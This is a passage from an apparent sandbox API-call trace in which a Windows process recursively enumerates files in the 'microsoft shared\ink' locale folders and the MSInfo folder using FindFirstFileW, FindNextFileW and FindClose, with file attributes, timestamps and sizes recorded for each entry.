ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.322] FindClose (in: hFindFile=0x894ff8 | out: hFindFile=0x894ff8) returned 1 [0148.322] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.322] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0148.323] GetLastError () returned 0x12 [0148.323] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x779da8e5, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x3e9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0148.323] GetLastError () returned 0x12 [0148.323] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x5f780, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0148.323] GetLastError () returned 0x12 [0148.323] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0148.323] GetLastError () returned 0x12 [0148.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x894e38 [0148.323] FindNextFileW (in: hFindFile=0x894e38, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.323] FindNextFileW (in: hFindFile=0x894e38, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.324] GetLastError () returned 0x12 [0148.324] FindNextFileW (in: hFindFile=0x894e38, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.324] FindClose (in: hFindFile=0x894e38 | out: hFindFile=0x894e38) returned 1 [0148.324] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.324] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0148.324] GetLastError () returned 0x12 [0148.324] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0148.324] GetLastError () returned 0x12 [0148.324] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79680792, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x79680792, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x79680792, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x101200, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0148.324] GetLastError () returned 0x12 [0148.324] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7965a52d, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7965a52d, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7965a52d, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x9e1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0148.325] GetLastError () returned 0x12 [0148.325] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6ebfe576, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x17a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0148.325] GetLastError () returned 0x12 [0148.325] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0148.325] GetLastError () returned 0x12 [0148.325] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895038 [0148.325] FindNextFileW (in: hFindFile=0x895038, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.325] FindNextFileW (in: hFindFile=0x895038, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.325] GetLastError () returned 0x12 [0148.325] FindNextFileW (in: hFindFile=0x895038, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.326] FindClose (in: hFindFile=0x895038 | out: hFindFile=0x895038) returned 1 [0148.326] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.326] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0148.326] GetLastError () returned 0x12 [0148.326] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x894ef8 [0148.327] FindNextFileW (in: hFindFile=0x894ef8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.327] FindNextFileW (in: hFindFile=0x894ef8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.327] GetLastError () returned 0x12 [0148.327] FindNextFileW (in: hFindFile=0x894ef8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.327] FindClose (in: hFindFile=0x894ef8 | out: hFindFile=0x894ef8) returned 1 [0148.327] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.327] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0148.327] GetLastError () returned 0x12 [0148.328] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895178 [0148.328] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.328] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.328] GetLastError () returned 0x12 [0148.328] FindNextFileW (in: hFindFile=0x895178, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.328] FindClose (in: hFindFile=0x895178 | out: hFindFile=0x895178) returned 1 [0148.329] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.329] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0148.329] GetLastError () returned 0x12 [0148.329] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895538 [0148.330] FindNextFileW (in: hFindFile=0x895538, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.330] FindNextFileW (in: hFindFile=0x895538, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.330] GetLastError () returned 0x12 [0148.330] FindNextFileW (in: hFindFile=0x895538, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.330] FindClose (in: hFindFile=0x895538 | out: hFindFile=0x895538) returned 1 [0148.330] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.330] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0148.330] FindClose (in: hFindFile=0x8369a0 | out: hFindFile=0x8369a0) returned 1 [0148.330] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4500070 | out: hHeap=0x23a0000) returned 1 [0148.331] FindNextFileW (in: hFindFile=0x836c60, lpFindFileData=0x3d5f2cc | out: lpFindFileData=0x3d5f2cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0148.332] GetLastError () returned 0x12 [0148.332] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\*", lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895438 [0148.333] FindNextFileW (in: hFindFile=0x895438, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.333] FindNextFileW (in: hFindFile=0x895438, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0148.333] GetLastError () returned 0x12 [0148.333] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x894eb8 [0148.334] FindNextFileW (in: hFindFile=0x894eb8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.334] FindNextFileW (in: hFindFile=0x894eb8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0148.334] GetLastError () returned 0x12 [0148.334] FindNextFileW (in: hFindFile=0x894eb8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0148.334] FindClose (in: hFindFile=0x894eb8 | out: 